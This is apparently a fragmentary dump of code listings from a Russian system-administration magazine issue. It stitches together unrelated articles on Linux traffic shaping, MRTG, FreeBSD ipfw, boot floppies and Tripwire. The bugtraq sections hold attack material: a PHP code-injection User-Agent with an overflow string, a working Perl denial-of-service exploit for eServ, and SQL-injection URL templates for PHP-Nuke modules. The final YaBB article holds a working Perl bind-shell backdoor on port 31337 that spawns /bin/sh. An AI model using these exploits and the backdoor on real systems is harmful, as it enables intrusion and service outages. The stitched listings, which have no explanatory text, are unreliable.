Листинг №7(8)
bugtraq стр. 2
e@some_host$ telnet hostname 80
Connected to hostname at 80
GET /board/index.php HTTP/1.0
User-Agent: phpinfo(); ?>
callto:msils/
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+type=directory
Cтатическая маршрутизацияв Linux. iproute2
Часть 2
Всеволод Стахов
tc qdisc [add | change | replace | del | link] dev DEV [parent qdisc-id | root] [handle qdisc-id] queue-type [qdisc specific parameters]
tc class [add | change | replace | del] dev DEV parent qdisc-id [classid class-id] queue-type [qdisc specific parameters]
tc filter [add | change | replace | del] dev DEV [parent qdisc-id | root] protocol protocol prio priority filter-type [filtertype specific parameters] flowid flow-id
tc qdisc add dev eth0 root handle 1: classful-queue [parameters]
tc qdisc add dev eth0 parent 1: handle 10: queue-type [parameters]
tc qdisc add dev eth0 parent 1: handle 20: queue-type [parameters]
# tc qdisc del dev eth0 root handle 1: queue-type
# tc qdisc add dev ppp0 root tbf rate 220kbit latency 50ms burst 1500
# tc qdisc add dev eth0 root sfq pertrub 10
# tc qdisc add dev eth0 root pfifo limit 500
TOS № полосы
Максимальная надежность – 1
Минимальная цена – 2
Максимальная пропускная способность – 2
Минимальная задержка (интерактивный) – 1
# tc qdisc add dev eth0 root handle 1: prio
# tc qdisc add dev eth0 parent 1:1 handle 10: sfq pertrub 10
# tc qdisc add dev eth0 parent 1:2 handle 20: tbf rate 1mbit buffer 15000 latency 10ms
# tc qdisc add dev eth0 parent 1:3 handle 30: sfq pertrub 10
Клиент Сервис Полоса пропускания
A smtp 2mbit
A www 3mbit
B all 1mbit
other all 2mbit
# tc qdisc add dev eth0 root handle 1: htb default 13
tc class add dev eth0 parent 1: classid 1:1 htb rate 9mbit ceil 9mbit burst 12500
tc class add dev eth0 parent 1:1 classid 1:10 htb rate 2mbit ceil 9mbit burst 12500
tc class add dev eth0 parent 1:1 classid 1:11 htb rate 3mbit ceil 9mbit burst 12500
tc class add dev eth0 parent 1:1 classid 1:12 htb rate 1mbit ceil 9mbit burst 12500
tc class add dev eth0 parent 1:1 classid 1:13 htb rate 3mbit ceil 9mbit burst 12500
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src A_ip match ip dport 80 0xffff flowid 1:10
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src A_ip match ip dport 25 0xfff flowid 1:11
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src B_ip flowid 1:12
# tc filter add dev eth0 protocol ip parent 1:0 prio 2 flowid some_band
# iptables -A FORWARD -t mangle -i eth0 -j MARK --set-mark 6
# tc filter add dev eth0 ptrotocol ip parent 1:0 prio 1 handle 6 fw classid 1:1
# ip route add some_network via some_gate dev eth0 realm 2
# tc filter add dev eth0 parent 1:0 protocol ip prio 1 route to 2
# tc qdisc add dev eth0 parent 1:10 handle 20: pfifo limit 500
# tc qdisc add dev eth0 parent 1:11 handle 30: pfifo limit 500
# tc qdisc add dev eth0 parent 1:12 handle 40: pfifo limit 500
# tc qdisc add dev eth0 parent 1:13 handle 50: sfq perturb 10
# tc qdisc add dev eth1 root teql0
# tc qdisc add dev eth2 root teql0
# ip link set dev teql0 up
Server A
# ip addr add dev eth1 10.0.0.1/31
# ip addr add dev eth2 10.0.0.3/31
# ip addr add dev teql0 10.0.0.5/31
Server B
# ip addr add dev eth1 10.0.0.2/31
# ip addr add dev eth2 10.0.0.4/31
# ip addr add dev teql0 10.0.0.6/31
# echo 0 > /proc/sys/net/ipv4/conf/eth1/rp_filter
# echo 0 > /proc/sys/net/ipv4/conf/eth2/rp_filter
# tc qdisc add dev eth0 root handle 1: default 14
# tc class add dev eth0 parent 1: handle 1:1 rate 10mbit burst 150000 ceil 100mbit
# tc class add dev eth0 parent 1:1 handle 1:11 rate 10mbit burst 15000 ceil 100mbit prio 2
# tc class add dev eth0 parent 1:1 handle 1:12 rate 10mbit burst 15000 ceil 100mbit prio 2
# tc class add dev eth0 parent 1:1 handle 1:13 rate 10mbit burst 15000 ceil 100mbit prio 2
# tc class add dev eth0 parent 1:1 handle 1:14 rate 69mbit burst 100000 ceil 100mbit prio 3
# tc class add dev eth0 parent 1:1 handle 1:15 rate 100kbit burst 1000 ceil 100mbit prio 4
# tc class add dev eth0 parent 1:1 handle 1:16 rate 900kbit burst 2500 ceil 100mbit prio 1
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 192.168.2.2 match ip dport 110 0xffff flowid 1:11
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 192.168.2.2 match ip dport 138 0xfff flowid 1:11
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 192.168.2.3 match ip dport 110 0xffff flowid 1:12
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 192.168.2.3 match ip dport 138 0xfffflowid 1:12
# tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip dport 22 0xffff flowid 1:13
# iptables -A PREROUTING -i eth0 -t mangle -p tcp --syn -j MARK --set-mark 1
# tc qdisc add dev eth0 handle ffff: ingress
# tc filter add dev eth0 parent ffff: protocol ip prio 50 handle 1 fw police rate 100kbit burst 1500 mtu 9k drop flowid :1
# tc filter add dev eth0 parent 10:0 protocol ip prio 100 u32 match ip protocol 1 0xff flowid 1:15
# tc filter add dev eth0 parent 1: protocol ip prio 10 u32 match ip protocol 6 0xff match u8 0x05 0x0f at 0 match u16 0x0000 0xffc0 at 2 match u8 0x10 0xff at 33 flowid 1:15
# tc qdisc add dev eth0 parent 1:11 handle 20: pfifo limit 500
# tc qdisc add dev eth0 parent 1:12 handle 30: pfifo limit 500
# tc qdisc add dev eth0 parent 1:13 handle 40: sfq pertrub 10
# tc qdisc add dev eth0 parent 1:14 handle 50: pfifo_fast
# tc qdisc add dev eth0 parent 1:15 handle 60: pfifo limit 15
bugtraq стр. 13
FRAME SRC="C:\winnt\welcome.exe">
... together around 191 ... and after comes our trojan ...
bugtraq стр. 19
Утечка памяти большим количеством подключений в eServ
Отказ в обслуживании обнаружен в eServ. Утечка памяти позволяет удаленному пользователю исчерпать доступные системные ресурсы на целевом сервере.
Сообщается, что удаленный пользователь может подключиться к серверу несколько тысяч раз, чтобы заставить сервер выделить большое количество памяти, что в конечном счете приведет к зависанию сервера. Сообщается, что 100 подключений может вызвать утечку памяти между 7.81 MB и 31.25 MB, а 50.000 подключений приведут к аварийному завершению работы сервера. Эксплоит:
#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't
#administer, and do not test this tool on networks you don't
#own without permission of the network owner. You are
#responsible for all damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = ));
print "Service port to probe\: ";
$port = trim(chomp($line = ));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
undef $f;
$ telnet ipp
POST /printers/ HTTP/1.1
Учет трафика с помощью программ MRTG и LAN Billing
Денис Колисниченко
rpm -ih mrtg*
cfgmaker --global 'WorkDir: /var/www/html/mrtg' \
--global 'Options[_]: bits,growright' \
--output /var/www/html/mrtg/mrtg.cfg \
community@router
WorkDir: /var/www/html/mrtg
Options[_]: bits,growright
Target[r1]: community@router
Target[r1]: 1:community@router
Target[r2]: 2:community@router
MaxBytes[r1]: 1250000
MaxBytes[r2]: 2500000
Title[r1]: Traffic Analysis for first interface
PageTop[r1]: Stats for our interface #1
Title[r2]: Traffic Analysis for second interface
PageTop[r2]: Stats for our interface #2
Target[r3]: `/usr/bin/program`
Options[_]: bits, perminute, noinfo
Листинг 1. Программа count
#!/bin/bash
# (c) 2002 Denis Kolisnichenko
# Usage: /usr/bin/count iface
/bin/grep "$1" /proc/net/dev | /bin/awk -F ":" '{ print $2 }' | /bin/awk '{ print $1 "\n" $9 }'
UPTIME=`/usr/bin/uptime | /bin/awk -F " " '{ print $3 }'`
echo $UPTIME
echo $1
/usr/bin/count интерфейс
count eth0
2738410
1235960
2:57,
eth0
Листинг 2. Файл /var/www/html/mrtg/mrtg.cfg
Target[eth0]: `/usr/bin/count eth0`
WorkDir: /var/www/html/mrtg/ipc
Options[eth0]: nopercent,growright,noinfo,gauge
Title[eth0]: eth0 Traffic
PageTop[eth0]: eth0 Traffic
MaxBytes[eth0]: 99999999
kilo[eth0]: 1024
YLegend[eth0]: bytes
ShortLegend[eth0]: bytes
LegendO[eth0]: eth0 Traffic :
LegendI[eth0]: eth0 Traffic :
Legend1[eth0]: eth1 Traffic in bytes
Target[ppp0]: `/usr/bin/count ppp0`
WorkDir: /var/www/html/mrtg/ipc
Options[ppp0]: nopercent,growright,noinfo,gauge
Title[ppp0]: ppp0 Leased Line
PageTop[ppp0]: ppp0 Leased Line
MaxBytes[ppp0]: 99999999
kilo[ppp0]: 1024
YLegend[ppp0]: bytes
ShortLegend[ppp0]: bytes
LegendO[ppp0]: ppp0 Traffic :
LegendI[ppp0]: ppp0 Traffic :
Legend1[ppp0]: ppp0 Traffic in bytes
mrtg /var/www/html/mrtg/mrtg.cfg
5,10,15,20,25,30,35,40,45,50,55,59 * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg
0-59/5 * * * * root /usr/bin/mrtg /var/www/html/mrtg/mrtg.cfg
/etc/init.d/crond restart
serverextip=193.111.111.1
writemode=db
serveraddress=192.168.0.1
mysqluser=sqluser
mysqlpassword=qwerty123456
mysqldatabase=nfbilling
logfile=/var/log/nfbilling/nfbilling.log
segment=192.168.0.0 255.255.255.0
actuality=100
minter=100
flush=600
fdelay=60
dumpfile=/var/log/nfbilling/nfbcd-dump
devide=ppp0
ignoremask=255.255.255.255
ignorenet=127.0.0.0 255.0.0.0
duser=nobody
dgroup=nobody
dport=7223
killall –HUP nfbcd
killall –HUP nfbccd
/etc/rc.d/init.d/nfbilling.init restart
/etc/rc.d/init.d/nfbilling.init start
/etc/rc.d/init.d/nfbilling.init stop
http://ваш_web_сервер/analyze.php
Ipfw и управление трафиком в FreeBSD
Игорь Чубин
# ipfw list
00100 deny ip from 10.0.0.2 to any
65535 allow ip from any to any
# ipfw действие [ число ] [ правило ]
# ipfw add deny ip from 10.0.0.3 to any
# ipfw add 100 deny ip from 10.0.0.3 to any
[ число ] [ set число ] [ prob вероятность ] действие [ log ] тело
[ число ] действие тело
allow from any to any
# kldload ipfw
# ipfw -q flush
# ipfw -q flush && ipfw add 65000 allow ip from any to any
# ipfw add 100 allow ip from any to any via lo0
# ipfw add 200 deny ip from any to 127.0.0.0/8
# ipfw add 300 deny ip from 127.0.0.0/8 to any
# ipfw add deny from any to 10.0.0.0/8 via ${external}
# ipfw add deny from any to 172.16.0.0/12 via ${external}
# ipfw add deny from any to 192.168.0.0/16 via ${external}
# ipfw add deny from 10.0.0.0/8 to any via ${external}
# ipfw add deny from 172.16.0.0/12 to any via ${external}
# ipfw add deny from 192.168.0.0/16 to any via ${external}
# ipfw add 2000 allow tcp from any to ${external} 22,25,80 setup
# ipfw add 2100 allow tcp from any to any established
# ipfw add 3000 allow tcp from ${external} to any setup
# ipfw add 4000 allow udp from ${external} to any 53
# ipfw add 4100 allow udp from any 53 to ${external}
# ipfw add 5000 deny icmp from any to ${external} in icmptypes 8
# ipfw add 5100 allow icmp from ${external} to any out icmtypes 8
# ipfw add 5200 allow icmp from any to ${external} in icmptypes 0
# ipfw add 64000 deny ip from any to any
# ipfw add divert 8868 tcp from 192.168.15.0/24 to any via ${natd_interface}
# ipfw add divert 8868 tcp from any to any via ${natd_interface}
# natd -interface xl0
# natd -f /etc/natd.conf
interface xl0
interface ${external}
proxy_rule port 80 server ${proxy}:3128
redirect_port tcp ${mailhub}:25 25
# ipfw add pipe 1 tcp from any to 192.168.15.1 out
# ipfw pipe 1 bw 10KB
# ipfw pipe 1 list
# ipfw -a list
65535 4386 844198 allow ip from any to any
# ipfw add count ip from 192.168.15.0/24 to any
options IPFIREWALL
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=10
options IPFIREWALL_DEFAULT_TO_ACCEPT
options DUMMYNET
options IPDIVERT
# /usr/sbin/config ВАШЕ_ЯДРО
# cd ../compile/ВАШЕ_ЯДРО
# cd ../../compile/ВАШЕ_ЯДРО
# make depend
# make
# make install
add deny icmp from any to any
add deny ip from 1.2.3.4 to any
allow tcp from any to any established
natd_enable="YES"
natd_inteface="lnc0"
natd_flags="-f /etc/natd.conf"
# sh /etc/rc.conf /etc/rc.firewall
Bugtraq стр. 35
GET /? HTTP/1.1
Скрипты для подсчета трафика: пример реализации в FreeBSD
Денис Пеплин
user1 192.168.0.11
user2 192.168.0.123
...
+ user3 192.168.0.98
- user2 192.168.0.123
...
Data store user group 76905 buhgalter (192.168.0.3)ї
Fri Apr 11 15:25:38 2003
76905 DENY_WRITE 0x20089 RDONLY EXCLUSIVE+BATCH ї
/pub/file.txt Thu Apr 11 17:30:46 2003
#!/bin/sh
smbstatus | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" \
| colrm 1 13 | grep -v -E "^nobody|^root" \
| awk '{printf(" %s %s\n",$1,$5)}' \
| sort | uniq | sed 's/[()]//g'
#!/bin/sh
count_list="samba pppd"
sleeptime=20
TMPDIR="/var/tmp"
export TMPDIR
tmpfile=`mktemp -q -u -t count` || exit 1
cleanup ()
{
rm -f $tmpfile.?
}
trap : 1
trap : 2
trap : 15
set -T
trap "cleanup; exit" 1 2 15
bindir=$(dirname $0) || exit 1
count_eval=""
for progname in $count_list
do
if [ $count_eval ] ; then
count_eval="$count_eval ; $bindir/count_$progname"
else
count_eval="$bindir/count_$progname"
fi
done
count_num=0
touch $tmpfile.$count_num
while [ ! ]
do
if ! ps $PPID >/dev/null 2>&1
then
echo "Parent process died. Cleanup and exit." >&2
break
fi
count_old=$count_num
test $count_num -eq 1
count_num=$?
eval $count_eval | tee $tmpfile.$count_num \
| diff -b -u $tmpfile.$count_old - \
| grep "^[+-] [a-z]" | sort -r
sleep $sleeptime
done
cleanup
#!/bin/sh
who | awk '{if(substr($2,1,4)=="cuaa")ї
printf("%s %s\n",$1,$2)}' | while read user ttyname
do
grep ":" /etc/ppp/options.$ttyname \
| awk -F: '{printf(" %s %s\n",user,$2)}' user=$user
done
rule username {
ipfw = 32001
}
#!/bin/sh
bindir=$(dirname $0) || exit 1
connect="$bindir/count_user"
#connect="$bindir/count_client 192.168.0.1 27777"
count_fw=ipfw
count_prog=ipa
count_startnum=32000
logfile="/var/log/utcount.log"
export count_startnum
if [ -f /var/run/count.pid ] && ps `cat /var/run/count.pid` >/dev/null 2>&1
then
echo "Another count process already run. Stop it and try again." >&2
exit 1
fi
trap : 1
trap : 2
trap : 15
set -T
trap "rm -f /var/run/count.pid; exit" 1 2 1
echo -n $$ > /var/run/count.pid || exit 1
$connect | while read action username address
do
if echo "$action $username $address" \
| grep -E -v -q "^[+-] [a-z].* ([0-9]{1,3}\.){3}[0-9]{1,3}$"
then
continue
fi
usernum=`$bindir/count_$count_prog $action $username`
$bindir/count_$count_fw $action $usernum $address
echo "[`date '+%d.%m.%y %H:%M'`] $action $username $address $usernum" \
>> $logfile
done
include {
file(?) = /usr/local/etc/ipa.users
}
#!/bin/sh
ipa_users="/usr/local/etc/ipa.users"
username_prefix="_"
action=$1 ; username=$2
ipa_add_user ()
{
username=$1 ; usernum=$2
printf "rule $username_prefix$username {\n\tipfw = $usernum\n}\n" \
>> $ipa_users
if [ -r /var/run/ipa.pid ] ; then
kill -HUP `cat /var/run/ipa.pid` >/dev/null 2>&1
sleep 5
fi
}
if [ -f $ipa_users ] ; then
startline=`grep -n "^rule $username_prefix$username " $ipa_users \
| awk -F: '{print $1}'`
if [ $startline ] ; then
usernum=`head -n $(expr $startline + 1) $ipa_users \
| tail -n 1 | awk -F= '{print $2}'`
else
usernum=`expr $count_startnum + $(wc -l < $ipa_users) / 3 + 1`
ipa_add_user $username $usernum
fi
else
usernum=`expr $count_startnum + 1`
ipa_add_user $username $usernum
fi
if [ "$action" = "-" ] ; then
/usr/local/sbin/ipa -k dump >/dev/null 2>&1
fi
echo $usernum
firewall_enable="YES"
firewall_type="OPEN"
# ipfw show
00100 0 0 allow ip from any to any via lo0
00200 0 0 deny ip from any to 127.0.0.0/8
00300 0 0 deny ip from 127.0.0.0/8 to any
65000 0 0 allow ip from any to any
65535 0 0 deny ip from any to any
#!/bin/sh
fwcmd="/sbin/ipfw"
usernum=$2 ; address=$3
case $1 in
+)
action=add
if ! $fwcmd show $count_startnum >/dev/null 2>&1 ; then
$fwcmd $action $count_startnum allow ip from me to any
fi
if ! $fwcmd show $usernum 2>/dev/null | grep -q $address
then
$fwcmd $action $usernum count ip from any to $address
fi
;;
-)
action=delete
$fwcmd $action $usernum count ip from any to $address
;;
*)
exit 1
;;
esac
00100 0 0 allow ip from any to any via lo0
00200 0 0 deny ip from any to 127.0.0.0/8
00300 0 0 deny ip from 127.0.0.0/8 to any
32000 0 0 allow ip from me to any
32001 0 0 count ip from any to 192.168.0.167
32002 0 0 count ip from any to 192.168.0.174
65000 0 0 allow ip from any to any
65535 0 0 deny ip from any to any
60000 0 0 deny ip from any to 192.168.0.0/24
---------------------------
| samba, pppd, ... | user | --> +/- user address -->
---------------------------
---------------------
| gate | ipfw + ipa |
---------------------
count 27777/tcp
count stream tcp nowait ї
nobody /usr/local/bin/count_user count
global {
maxchunk = 1G
update_db_time = 1m
append_db_time = 30m
}
include {
file(?) = /usr/local/etc/ipa.users
}
Bugtraq стр. 43
'secid' в модуле Sections
'sid' в модуле AvantGo
'pollID' в модуле Surveys
'cid' в модуле Downloads
'id' в модуле Reviews
'cid' в модуле Web_Links
http://[target]/modules.php?name=Sections&op=listarticles&secid=`[YOUR QUERY]
http://[target]/modules.php?name=Sections&op=viewarticle&artid=`[YOUR QUERY]
http://[target]/modules.php?name=Sections&op=printpage&artid==`[YOUR QUERY]
http://[target]/modules.php?name=AvantGo&file=print&sid=`[YOUR QUERY]
http://[target]/modules.php?name=Surveys&pollID=`[YOUR QUERY]
http://[target]/modules.php?name=Surveys&op=results&pollID=`[YOUR QUERY]&mode=&order=0&thold=0
http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=` [YOUR QUERY]
http://[target]/modules.php?name=Downloads&d_op=viewdownload&cid=`[YOUR QUERY]&orderby=titleD
http://[target]/modules.php?name=Reviews&rop=showcontent&id=` [YOUR QUERY]
http://[target]/modules.php?name=Web_Links&l_op=viewlink&cid=`[YOUR QUERY]
http://[target]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=`[YOUR QUERY]&ratetype=num
http://[target]/modules.php?name=Downloads&ratinglid=[FILE TO RATE]&
http://[target]/modules.php?name=Web_Links&ratinglid=96&ratinguser=?
&ratinghost_name=?&rating=99999999999999999999999 9999999999
http://[target]/modules.php?name=Downloads&ratinglid=[FILE TO RATE]&ratinguser=?
&ratinghost_name=?&rating=9999999999999999999
9999999999999999999999999999999999999999999999999999
#include
#include
#include
int main(int argc, char **argv)
if (argc < 2) {
(void) fprintf(stderr, "Usage: %s PORT [VALUE]\n", argv[0]);
return (2);
}
if (ioperm(1023, 1, 0) == -1) {
perror("ioperm");
return (1);
}
if (argc < 3) {
(void) printf("0x%02x\n", inb(atoi(argv[1])));
} else {
outb(atoi(argv[2]), atoi(argv[1]));
}
return (0);
Создание загрузочных дискет и CD-дисков Linux
Всеволод Стахов
# mke2fs -N 300 /dev/fd0
# mount -t ext2fs -o rw /dev/fd0 /mnt/tmp
# cp $KERNELSRC/arch/i386/boot/bzImage /mnt/tmp/vmlinuz
# umount /dev/fd0
/tmp/lilo.conf.tmp
boot=/dev/fd0
prompt
timeout=50
compact
vga=normal
read-only
menu-title=" NFS-distributive "
image=/vmlinuz
label=linux
append="root=/dev/nfs nfsroot=192.168.1.1:/exports/debian ip=::::nfs-client::bootp"
nfsroot=[:][,]
ip=::::: :
ip=192.168.1.102:192.168.1.1:192.168.1.1:255.255.255.0: print-server:eth0:
host hostname{
[parameters]
}
/exports/debian nfs-client(rw,no_root_squash)
# rpc.mountd
# rpc.nfsd
# rpcinfo -p
# showmount --export
# mount -t ext2 /dev/fd0 /mnt/tmp
# mkdir /mnt/tmp/boot
# cp /boot/boot.b /mnt/tmp/boot
# cp /tmp/lilo.conf.tmp /mnt/tmp/lilo.conf
# /sbin/lilo -v -C /mnt/tmp/lilo.conf -r /mnt/tmp
...cut...
image=/vmlinuz
...cut...
password="my_password"
mandatory
# dd if=/dev/zero of=/tmp/initrd.img bs=1024 count=3072
# mke2fs -N 360 -m 0 /tmp/initrd.img
# mount -t ext2 -o loop /mnt/tmp /tmp/initrd.img
# cp -dpR /dev/tty[0-6] /mnt/tmp/dev
# cp -dpR /dev/fd0* /mnt/tmp/dev
# cp -dpR /dev/console /mnt/tmp/dev
# cp -dpR /dev/kmem /mnt/tmp/dev
/etc/passwd
root::0:0:root:/root:/bin/sh
daemon:*:1:1:daemon:/sbin:/bin/sh
bin:*:2:2:bin:/bin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
sync:*:4:100:sync:/bin:/bin/sync
games:*:5:100:games:/usr/games:/bin/sh
man:*:6:100:man:/var/cache/man:/bin/sh
lp:*:7:7:lp:/var/spool/lpd:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
/etc/fstab
/dev/ram0 / ext2 defaults 0 1
proc /proc proc defaults 0 0
/etc/inittab
# Runlevel по умолчанию:
id:2:initdefault:
# Путь к инициализационному скрипту:
si::sysinit:/etc/rc
# Запуск /sbin/getty для виртуальных консолей (в данном
# примере 3, но может быть и больше, только учтите,
# что устройства ttyX должны находиться в каталоге
# /dev ram-диска):
1:2345:respawn:/sbin/getty 9600 tty1 linux
2:23:respawn:/sbin/getty 9600 tty2 linux
3:23:respawn:/sbin/getty 9600 tty3 linux
# Перезагрузка при нажатии клавиш Ctrl+Alt+Del:
ca:12345:ctrlaltdel:/sbin/shutdown -t1 -a -r now
/etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
tty:x:5:
disk:x:6:
lp:x:7:lp
mail:x:8:
/etc/nsswitch.conf
passwd: files
shadow: files
group: files
hosts: files
networks: files
protocols: files
services: files
/etc/pam.conf
OTHER auth optional /lib/security/pam_permit.so
OTHER account optional /lib/security/pam_permit.so
OTHER password optional /lib/security/pam_permit.so
OTHER session optional /lib/security/pam_permit.so
/etc/rc
#!/bin/sh
# Устанавливаем переменные среды:
PATH=/bin:/sbin:/usr/bin:/usr/sbin
# Монтируем файловые системы:
/bin/mount -av
# Устанавливаем имя хоста:
/bin/hostname floppy-dist
# Настраиваем и запускаем сетевой интерфейс (если это нужно):
/sbin/ifconfig eth0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255
/sbin/ifconfig eth0 up
# Настраиваем маршрутизацию:
/sbin/route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
# Далее могут быть другие команды, в зависимости от
# назначения дистрибутива
export PATH
# chmod +x /mnt/tmp/etc/rc
# mkdir -p /mnt/tmp/etc/terminfo/l
# cp /etc/terminfo/l/linux /mnt/tmp/etc/terminfo/l/linux
# cd /mnt/tmp
# ln -s bin/busybox bin/cd
# ln -s bin/busybox bin/ls
# make PREFIX=/mnt/tmp install
(debian:/etc)# ldd /sbin/init
libc.so.6 => /lib/libc.so.6 (0x4001d000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
# mkdir -p /mnt/tmp/var/{log,run}
# touch /mnt/tmp/var/run/utmp
# ldconfig -r /mnt/tmp
# umount /mnt/tmp
# gzip -c9 /tmp/initrd.img > ~/initrd.gz
# rm -f /tmp/initrd.img
# dd if=/usr/src/linux/arch/i386/boot/bzImage of=/dev/fd0 bs=1k
384+1 прочитано блоков
384+1 записано блоков
# rdev /dev/fd0 /dev/fd0
# rdev -R /dev/fd0
# rdev -r /dev/fd0 `expr 16384 + 385`
# rdev -r /dev/fd0 16769
# dd if=~/initrd.gz of=/dev/fd0 bs=1k seek=385
# fdformat -n /dev/fd0
# badblocks /dev/fd0 > /tmp/fd0.bad
# mkfs.msdos -l /tmp/fd0.bad -n boot /dev/fd0
# syslinux /dev/fd0
# mount /dev/fd0 /floppy
# cp /usr/src/linux/arch/i386/boot/bzImage /floppy/vmlinuz
# cp ~/initrd.gz /floppy/
# vi /floppy/syslinux.cfg
syslinux.cfg:
default linux
prompt 1
label linux
kernel vmlinuz
append initrd=initrd.gz
label метка
kernel файл_ядра
append опции_ядра
# cp /dev/fd0 /cd-iso/boot/boot.img
# cd /cd-iso
# mkisofs -r -b boot/boot.img -c boot/boot.catalog -o bootcd.iso ./
# mount -t iso9660 -o ro,exec /dev/hd[b] /usr
/dev/hdb / is09660 ro,exec 0 0
# cdrecord -v speed=8 dev=0,0,0 /cd-iso/bootcd.iso
Виртуальный компьютер
Денис Колисниченко
rpm –ihv VMware-workstation-3.2.0-2230.i386.rpm
Контрольная сумма на защите Linux/FreeBSD
Сергей Яремчук
$ md5sum mysql-max-3.23.55-unknown-freebsd4.7-i386.tar.gz
99b543fbe12c2980c66d365ca68e819b
$ more Makefile | grep MAINTAINER
MAINTAINER= anarcat@anarcat.dyndns.org
$ cd /usr/ports/security/tripwire
$ make install clean
make all
make *_r(d )
# /usr/sbin/tripwire--init
### Filename: /bin/ash
### No such file or directory
### Continuing...
### Warning: File system error.
### Filename: /bin/ash.static
### No such file or directory
### Continuing...
$ make install TRIPWIRE_FLOPPY= YES
$ make floppy
$ tripwire --check --email-report
$ tripwire --test --email user@domain.com
$ tripwire --check object1 object2 object3
# tripwire --check --severity 66
# tripwire --check --rulename "File System and Disk Administraton Programs"
$tripwire --update
$ tripwire --update /usr/sbin/sshd
# tripwire --check --twrfile /var/lib/report/myreport.twr
# twprint --print-report --report-level 1 --twrfile /var/lib/report/report.twr
# twadmin –print-cfgfile > /etc/tripwire/twcfg.txt
# twadmin --create-cfgfile --site-keyfile /etc/tripwire/site.key /etc/tripwire/twcfg.txt
-----
Врез про уровни
TWReport LIGHTHOUSE 19991021134026 V:45 S:100 A:2 R:1 C:6
Added: /usr/bin/bash
Modified: /usr/bin
-----
# twadmin --print-polfile > /etc/tripwire/twpol.txt
# tripwire --update-policy /etc/tripwire/twpol.txt
# twadmin --examine file1 file2
# twadmin --remove-encryption file1 file2
# twadmin --generate-keys --local-keyfile /etc/tripwire/localkey.k
# twadmin --generate-keys --site-keyfile /etc/tripwire/sitekey.keyey
# twadmin --encrypt --local-keyfile /etc/tripwire/localkey.keyfile1 file2
# twadmin --encrypt --site-keyfile /etc/tripwire/sitekey.key file1 file2
# twprint --print-dbfile > db.txt
# twprint --print-dbfile --dbfile otherfile.twd > db.txt
# twprint --print-report --twrfile имя-файла-с-отчетом
# /usr/sbin/siggen /var/lib/tripwire/localhost.twd
----------------------------------------------------------
Signatures for file: /var/lib/tripwire/localhost.twd
CRC32 BVr6P8
MD5 CyDxlDF7Mnuz3njdkViXBB
SHA OQlEAmFhfbcDp8ExomcqkJ8HGNS
HAVAL BIR2NV6sOozXF9X92hqkyA
----------------------------------------------------------
object name -> property_mask [attribute=value …];
! object name;
"/te\x73t2"
/usr/lib -> $(ReadOnly) ( emailto = admin@foo.com ) ;
(attribute = value)
{
rule1;
rule2;
...
}
(emailto = admin1@foo.com, severity = 90)
{
/etc/dog-> +pingus (severity = 75);
/etc/cat-> $(Dynamic) (emailto = admin2@foo.com);
}
@@directive [arguments]
@@ifhost machine1 || machine2
/usr/bin -> +pinug ;
@@else
/usr/bin -> +pinugsmC ;
@@endif
bugtraq стр. 77
nc warlab.dk 25
220 win2k-serv ESMTP Server FTGate
HELO Foobar
250 win2k-serv
Mail From :
ISA Server: davinci.winmat.com
Via:
Перехват shell через YaBB
Виктор Игнатьев
test.cgi
backdoor.cgi
#!/usr/bin/perl -w
print "Content-Type: text/html\n\n";
system("ls > 1.txt");
#!/usr/bin/perl –w
use Socket;
$port = 31337;
socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY));
listen (S, 50);
while (1){
accept (X, S);
if (!($pid = fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;}}
Settings.pl
$emailwelcome = 1;
# Set to 1 to email a welcome message to users even when
# you have mail password turned off
$mailprog = "/usr/sbin/sendmail";
# Location of your sendmail program
$smtp_server = "smtp.mysite.com";
# Address of your SMTP-Server
$webmaster_email = q^webmaster@mysite.com^;
# Your email address.
(eg: $webmaster_email = q^admin@host.com^;)
$mailtype = 0;
# Mail program to use: 0 = sendmail, 1 = SMTP, 2 = Net::SMTP
